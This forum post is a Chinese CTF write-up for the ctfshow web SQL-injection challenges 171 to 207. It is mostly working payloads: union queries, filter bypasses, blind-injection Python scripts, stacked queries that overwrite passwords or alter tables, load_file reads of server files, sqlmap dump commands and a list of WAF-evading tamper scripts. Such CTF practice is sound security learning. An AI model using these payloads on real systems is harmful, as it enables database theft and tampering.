吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5536|回复: 20
收起左侧

[CTF] 【ctfshow】web篇 SQL注入 WP

  [复制链接]
孤樱懶契 发表于 2021-8-4 18:29
本帖最后由 孤樱懶契 于 2021-8-4 18:53 编辑

SQL注入

web171

  • 根据语句可以看到有flag没有被显示出来,让我们拼接语句来绕过
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
  • GET传参会自己解码,注释可以用%23(#), --空格,--+等,或者拼接语句不用注释也行

image-20210727052118542

  • 判断有3个字段
1' order by 3--+

image-20210727052202385

  • 联合查询,查表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

image-20210727052424376

  • 查字段
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

image-20210727052509428

  • 查flag
1' union select 1,2,password from ctfshow_user --+

image-20210727052648926

web172

//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }
  • 多了层过滤,没有检测到username有flag结果才能查询成功,不查询username,就用password,和上题没区别
1' union select 1,password from ctfshow_user2--+

web173

  • 和上题一样
1' union select 1,2,password from ctfshow_user3--+

web174

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
  • 过滤了数字,考察replace的运用,先判断有几个字段
1' order by 2 %23

image-20210727091147187

  • 联合函数添加a和b两个数据ok

image-20210727091245501

  • 先构造一个replace将0-9全部置换
 select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(1234567890,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ');

image-20210727091509981

  • 查表构造语句将1-0换成table_name
1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.tables where table_schema=database() %23

image-20210727091702800

  • 查字段名
1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(column_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.columns where table_schema=database() and table_name='ctfshow_user4' %23

image-20210727091826089

  • 查结果
1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from ctfshow_user4--+

image-20210727091848759

  • 写个小py来转换一下
import requests

flagstr = 'ctfshow{numHnumEbnumCnumFenumJd-anumEnumHnumF-numDfbnumC-adnumBnumJ-enumAnumAnumBenumDnumFnumDnumGnumHnumAnumH}'

flag=''
flag = flag + flagstr.replace('numA','1').\
    replace('numB','2')\
    .replace('numC','3')\
    .replace('numD','4')\
    .replace('numE','5')\
    .replace('numF','6')\
    .replace('numG','7')\
    .replace('numH','8')\
    .replace('numI','9')\
    .replace('numJ','0')

print(flag)

image-20210727091931245


web175

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
  • 将ascii所有字符都禁了,无回显就用盲注,写个py脚本
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
import time
url = "http://bab11107-9d31-46bf-b41e-0a04bb92b155.challenge.ctf.show:8080/api/v5.php"
dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag =""
for i in range(1,50):
    for j in dict:
        payload= f"?id=1' and if(substr((select password from ctfshow_user5 where username=\"flag\"),{i},1)=\"{j}\",sleep(3),0)--+"
        res_get = url + payload
        start = time.time()
        res = requests.get(url=res_get)
        end = time.time()
        if end-start > 3:
            flag = flag + j
            print(flag)
            break

image-20210730095850795

web176

  • 发现是对select的过滤,但是没有过滤大小写
1' union all Select 1,2,(Select table_name from information_schema.tables where table_schema=database()) --+
  • 字段
1' union all Select 1,2,(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user') --+
  • 查flag
1' union all Select 1,2,(Select password from ctfshow_user where username='flag') --+
  • 第二种方法简单——利用or的后面条件一直为真,可以显示所有数据
  • 查所有数据
1' or 1=1--+

image-20210730101403056

web177

  • 第一种方法判断过滤了空格,但是依旧可以用or通杀显示所有数据

查flag

1'or(1=1)%23
  • 第二种方法,这次发现还多过滤了空格,我们可以用%0a换行符或者注释符绕过(或者%09,%0b,%0c,%0d都可以),这次我们用万能密码吧,用上面的也可以,不过绕过空格后有点长,后面的注释我们用#的url编码形式%23

查flag

1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23

web178

  • 和上题差不多,多办了/**/这个注释符号,也可以万能密码1'%09or%091=1%23
1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23

web179

  • 和上题差不多,过滤了%09,%0b,%0d和空格也可以用万能密码1'%0cor%0c1=1%23
1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag')%23

web180


  • 这题%23也过滤了,绕过空格的基本都过滤了,我们想着拼凑语句

payload

1.1'or(id='26')and'1=1

这个拼接之后的语句就是

select id,username,password from ctfshow_user where username !='flag' and id = '1.1'or(id='26')and'1=1’ limit 1;
id='1.1'or(id=26)and'1=1' limit 1;
也就是
(id='1.1') or ((id=26) and '1=1') limit 1;
前面因为1.1不存在为0,后面为1,所以整个条件为1

web181

  • 和上题一样
1.1'or(id=26)and'a'='a

web182

  • 和上题一样
1.1'or(id=26)and'a'='a

web183

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";
  • 提示说拼接sql语句找到指定id,因为前几天他的表都是ctfshow_user,我们可以尝试一下这个表,然后用like和%进行模糊匹配
  • post传参

image-20210730124155127

  • 这里明显有布尔盲注,来进行猜解flag,写一个py脚本
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/4/8 21:24
# blog: gylq.gitee.io
import requests

url = "http://e9202b55-424f-460d-8597-692168ba560f.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
    print(' 开始盲注第{}位'.format(i))
    for j in str:
        data = {
            "tableName":"(ctfshow_user)where(pass)like'{0}%'".format(flag+j)
        }
        res = requests.post(url,data)
        if res.text.find("$user_count = 1")>0:
            flag += j
            print(flag)
            if j=="}":
                print(' flag is {}'.format(flag))
                exit()
            break

image-20210730132558687

web184

  • 这把过滤了where,我们用右连接来做
ctfshow% 的十六进制 为 0x63746673686F7725
  • 所以用他来匹配like,放出了空格
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686F7725
  • 写个py来跑flag
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30 21:24
# blog: gylq.gitee.io
import requests
import binascii

def to_hex(s):
    #转十六进制
    str_16 = binascii.b2a_hex(s.encode('utf-8'))
    res = bytes.decode(str_16)
    return res

url = "http://d42dba7c-384e-4a5d-9a5d-26398d42ce7c.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
     print(' 开始盲注第{}位'.format(i))
     for j in str:
        result = "0x" + to_hex(flag + j + "%")
        data = {
             "tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)
        }
        res = requests.post(url,data)
        if "$user_count = 43" in res.text:
             flag += j
             print(flag)
             if j=="}":
                 print(' flag is {}'.format(flag))
                 exit()
             break

# tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686F7725

image-20210730140931041

web185

  • 这次直接过滤了0-9的所有数字,上个脚本进行改变

这次我们利用true来进行替换数字

select true+true;
结果是2
所以我们构造数字c来进行like匹配

我们还是用like模糊匹配,然后利用concat连接true形成的字符和数字

image-20210730151426812

tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true))

image-20210730151523656

页面可以正常回显,代码跑起py

#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/4/8 21:24
# blog: gylq.gitee.io
import requests
import binascii

def createNum(n):
    num='true'
    if n==1:
        return "true"
    else:
        for i in range(n-1):
            num+="+true"
    return num

#把每一个字符转换成ascii码对应的数值
def change_str(s):
    str=""
    str+="char("+createNum(ord(s[0]))+")"
    for i in s[1:]:
        str+=",char("+createNum(ord(i))+")"
    return str

url = "http://e0482185-09dd-40c6-854f-6df23ac4c58b.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"

flag = "ctfshow"
for i in range(0,666):
      print(' 开始盲注第{}位'.format(i))
      for j in str:
        result = change_str(flag + j + "%")
        data = {
              "tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like (concat({}))".format(result)
        }
        res = requests.post(url,data)
        if "$user_count = 43" in res.text:
             flag += j
             print(flag)
             if j=="}":
                 print(' flag is {}'.format(flag))
                 exit()
             break

image-20210730153336499

web186

  • 和上一题一样
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
import binascii

def createNum(n):
    num='true'
    if n==1:
        return "true"
    else:
        for i in range(n-1):
            num+="+true"
    return num

#把每一个字符转换成ascii码对应的数值
def change_str(s):
    str=""
    str+="char("+createNum(ord(s[0]))+")"
    for i in s[1:]:
        str+=",char("+createNum(ord(i))+")"
    return str

url = "http://e0482185-09dd-40c6-854f-6df23ac4c58b.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"

flag = "ctfshow"
for i in range(0,666):
      print(' 开始盲注第{}位'.format(i))
      for j in str:
        result = change_str(flag + j + "%")
        data = {
              "tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like (concat({}))".format(result)
        }
        res = requests.post(url,data)
        if "$user_count = 43" in res.text:
             flag += j
             print(flag)
             if j=="}":
                 print(' flag is {}'.format(flag))
                 exit()
             break

image-20210730154141902

web187

$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
        $ret['msg']='用户名不存在';
   die(json_encode($ret));
}
  • 登陆窗口,看返回逻辑

很明显注入点是md5()函数这里,后面用了参数true,返回的是一个16位二进制

image-20210730155322904

网上有一个字符串ffifdyop很特殊

echo md5("ffifdyop",true);
//结果
'or'6�]��!r,��b
 刚好成万能密码
  password=''or true

image-20210730155234977

web188

 $sql = "select pass from ctfshow_user where username = {$username}";

//密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

可以看到是通过username来列出密码,然后弱比较来进行判断payload

username=0&password=0

以这道题的数据库为例,这个数据库中的用户名都是以字母开头的数据,而以字母开头的数据在和数字比较时,会被强制转换为0,因此就会相等,后面的pass也是一样的道理
但注意,如果有某个数据不是以字母开头,是匹配不成功的,这种情况怎么办,我们可以用||运算符

username=1||1&password=0

web189

因为确定一定包含ctfshow这个内容,所以通过load_file的返回值“\u67e5\u8be2\u5931\u8d25”判断是否存在,写个payload

LOAD_FILE(file_name): 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。

regexp: mysql中的正则表达式操作符

容易想到默认路径是/var/www/html/api/index.php,开始写个脚本进行盲注

#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/4/8 21:24
# blog: gylq.gitee.io
import requests
url = "http://e89f25b2-8acb-4c79-8368-56f445f77e6c.challenge.ctf.show:8080/api/index.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"
payload="if(load_file('/var/www/html/api/index.php')regexp('{0}'),1,0)"

for i in range(666):
    print(' 开始盲注第{}位'.format(i))
    for j in str:
        data={
            "username":payload.format(flag + j),
            "password":0
        }
        res = requests.post(url,data)
        if r"\u67e5\u8be2\u5931\u8d25" in res.text:
            flag += j
            print(flag)
            break
        if j=='}':
            print(' flag is {}'.format(flag))
            exit()

image-20210730180926218

web190

经典盲注,脚本跑

#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://17f404c9-b645-40ab-8daf-f60c335e2d84.challenge.ctf.show:8080/api/"
str = "01234567890-=!@#$%^&*()_+`~ qwertyuiopasdfghjklzxcvbnm[];,./{}:<>?\|"
flag = ""
#查表 payload="admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#"
#查字段 payload="admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'),{},1)='{}',1,0)#"
payload="admin' and if(substr((select f1ag from ctfshow_fl0g),{},1)='{}',1,0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):
      for j in str:
        data = {
              "username":payload.format(i,j),
              "password":123456
        }
        res = requests.post(url,data)
        if r"\u5bc6\u7801\u9519\u8bef" in res.text:
             flag += j
             n+=1
             print(' 开始盲注第{}位'.format(n))
             print(flag)
             if j=="}":
                 print(' flag is {}'.format(flag))
                 exit()
             break

image-20210730190843467

web191

  • 和上题一样,过滤了ascii等,不过我写的payload没用
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://17f404c9-b645-40ab-8daf-f60c335e2d84.challenge.ctf.show:8080/api/"
str = "01234567890-=!@#$%^&*()_+`~ qwertyuiopasdfghjklzxcvbnm[];,./{}:<>?\|"
flag = ""
#查表 payload="admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#"
#查字段 payload="admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'),{},1)='{}',1,0)#"
payload="admin' and if(substr((select f1ag from ctfshow_fl0g),{},1)='{}',1,0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):
      for j in str:
        data = {
              "username":payload.format(i,j),
              "password":123456
        }
        res = requests.post(url,data)
        if r"\u5bc6\u7801\u9519\u8bef" in res.text:
             flag += j
             n+=1
             print(' 开始盲注第{}位'.format(n))
             print(flag)
             if j=="}":
                 print(' flag is {}'.format(flag))
                 exit()
             break

image-20210730191215328

web192

  • 和上题一样,没办=号,我们依旧潇洒
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://8ab877db-cd5c-424f-bb9c-0f54ba6447c7.challenge.ctf.show:8080/api/"
str = "01234567890-=!@#$%^&*()_+`~ qwertyuiopasdfghjklzxcvbnm[];,./{}:<>?\|"
flag = ""
#查表 payload="admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#"
#查字段 payload="admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'),{},1)='{}',1,0)#"
payload="admin' and if(substr((select f1ag from ctfshow_fl0g),{},1)='{}',1,0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):
      for j in str:
        data = {
              "username":payload.format(i,j),
              "password":123456
        }
        res = requests.post(url,data)
        if "密码错误" in res.json()['msg']:
             flag += j
             n+=1
             print(' 开始盲注第{}位'.format(n))
             print(flag)
             if j=="}":
                 print(' flag is {}'.format(flag))
                 exit()
             break

web193

  • 过滤了substr但是没有过滤正则啊,用正则^来匹配第一个
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://131ffba2-a367-4469-8421-e4c0d9877e37.challenge.ctf.show:8080/api/"
str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,,"
flag = ""
#查表payload="admin' and if((select group_concat(table_name) from information_schema.tables where table_schema=database())regexp('^{}'), 1, 0)#"
#查字段payload="admin' and if((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flxg')regexp('^{}'), 1, 0)#"
payload="admin' and if((select group_concat(f1ag) from ctfshow_flxg)regexp('^{}'), 1, 0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):
      for j in str:
        data = {
              "username":payload.format(flag+j),
              "password":123456
        }
        res = requests.post(url,data)
        if "密码错误" in res.json()['msg']:
             flag += j
             n+=1
             print(' 开始盲注第{}位'.format(n))
             print(flag)
             if j=="}":
                 print(' flag is {}'.format(flag))
                 exit()
             break

image-20210730210312414

web194

  • 正则依旧没有被办,只是办了个右连接等,继续上个脚本梭哈
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://8f2766ad-af45-441e-b247-7a526b3d150f.challenge.ctf.show:8080/api/"
str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,,"
flag = ""
#查表payload="admin' and if((select group_concat(table_name) from information_schema.tables where table_schema=database())regexp('^{}'), 1, 0)#"
#查字段payload="admin' and if((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flxg')regexp('^{}'), 1, 0)#"
payload="admin' and if((select group_concat(f1ag) from ctfshow_flxg)regexp('^{}'), 1, 0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):
      for j in str:
        data = {
              "username":payload.format(flag+j),
              "password":123456
        }
        res = requests.post(url,data)
        if "密码错误" in res.json()['msg']:
             flag += j
             n+=1
             print(' 开始盲注第{}位'.format(n))
             print(flag)
             if j=="}":
                 print(' flag is {}'.format(flag))
                 exit()
             break

image-20210730210650528

web195

    //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

 //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }
  • 过滤了空格,用反引号来代替,因为提示堆叠注入,我们考虑用update更新密码,因为sql语句中没有单引号包含,无法成功执行,所以得将admin转十六进制进行执行

payload

0x61646d696e;update`ctfshow_user`set`pass`=123456

接着用0x61646d696e,123456登陆就行

image-20210730211627435

web196

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
  }

多限制了用户名的长度,这里注意正则里ban的是se1ect,二不是select,所以select可以继续使用

  • payload
username:1;select(1)
password:1

image-20210730212125349

web197

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

这里在195的基础上ban了update和set等,不过这里没有ban掉show,我们可以在username把表全部查询出来,在password里传入表名,相等即可符合判断条件爆出flag

username:520;show tables
password:ctfshow_user

web198

  • 上题方法依旧可以做,我们换种思路,这里没有ban掉alter,我们可以把密码和id两列进行一个互换,这样一来判断flag的条件变成对id的检测,而id都是纯数字,我们可以去进行爆破到正确的id,从而获得flag,脚本如下
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://86f793a3-65c1-4974-8b76-8276d42d488c.challenge.ctf.show:8080/api/"
payload = '0x61646d696e;alter table ctfshow_user change column `pass` `gylq` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `gylq` `id` varchar(255);'
data1 = {
    'username': payload,
    'password': '1'
}
res = requests.post(url,data1)

for i in range(99):
    data2 = {
        'username': "0x61646d696e",
        'password': '{}'.format(i)
    }
    res2 = requests.post(url,data2)
    if "flag" in res2.json()['msg']:
        print(res2.json()['msg'])
        break

web199

  • 不变197做法

image-20210730221610705

web200

和上题一样

image-20210730221717415

web201

  • 提示referer标头,查了下资料,默认情况不会对referer发起http请求,但是这题不发就得不到数据,所以可以自行设置referer或者直接level 3

image-20210730231149582

payload

sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" --dbs

或者 level 3

sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --level 3 --dbs

查表

python3 sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web --tables

查字段

sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns

查flag

sqlmap.py -u "http://eb8102e6-5c61-4b70-8a29-24de83d6b0b2.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump --where "pass like '%ctfshow%'"

image-20210730232141620

web202

  • 就是用--data指定post传参

payload

sqlmap.py -u "http://c339fde0-4900-495d-bcf0-7872c3937afa.challenge.ctf.show:8080/api/" --data="id=1" --threads=10 --batch  --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'"

web203

  • 将method改成put,并且注意更改content-type为text/plain,否则会被提交成表单
sqlmap.py -u "http://fa1b6901-9336-417b-9abf-3b0d199ed673.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'"

web204

  • 提示传递cookie,抓包拿
sqlmap.py -u "http://74013a20-89e2-4675-a59b-40916d4e4712.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'"  -v 5  --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6"

web205

  • 要api鉴权我们抓包可以发现他是先/api/getToken.php,然后再访问/api/index.php,根据浏览器里面select.js文件代码分析也可以发现

image-20210731085139350

sqlmap中提供以下两个参数保证每次都能访问一次一次getToken.php来获取token

--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下
--safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数

payload

sqlmap.py -u "http://a99900ec-4bec-4ef1-b046-2a62a2f8fc22.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://a99900ec-4bec-4ef1-b046-2a62a2f8fc22.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --where="flagx like 'ctf%'" --dump

web206

  • 和上题一样做法,就是换了字段名
sqlmap.py -u "http://d531f359-f004-4421-b15c-7c0fd7ec6b24.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://d531f359-f004-4421-b15c-7c0fd7ec6b24.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1  -D ctfshow_web -T  ctfshow_flaxc -C flagv --dump

web207

  • tamper的初体验,看到过滤了空格

遇到这种情况怎么办?sqlmap提供了tamper脚本用于应对此种情况,tamper的出现是为了引入用户自定义的脚本来修改payload以达到绕过waf的目的。sqlmap自带的tamper脚本文件都在sqlmap的tamper文件夹下

举例如下tamper脚本:

apostrophemask.py 用utf8代替引号

equaltolike.py MSSQL * SQLite中like 代替等号

greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号

space2hash.py 空格替换为#号 随机字符串 以及换行符

space2comment.py 用/**/代替空格

apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号

halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.p Microsoft Access在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤

space2mssqlblank.py mssql空格替换为其它空符号

base64encode.py 用base64编码

space2mssqlhash.py mssql查询中替换空格

modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释

space2mysqlblank.py mysql中空格替换其它空白符号

between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)

space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py 围绕SQL关键字添加多个空格

space2plus.py 用+替换空格

bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代

space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾

chardoubleencode.py 双url编码(不处理以编码的)

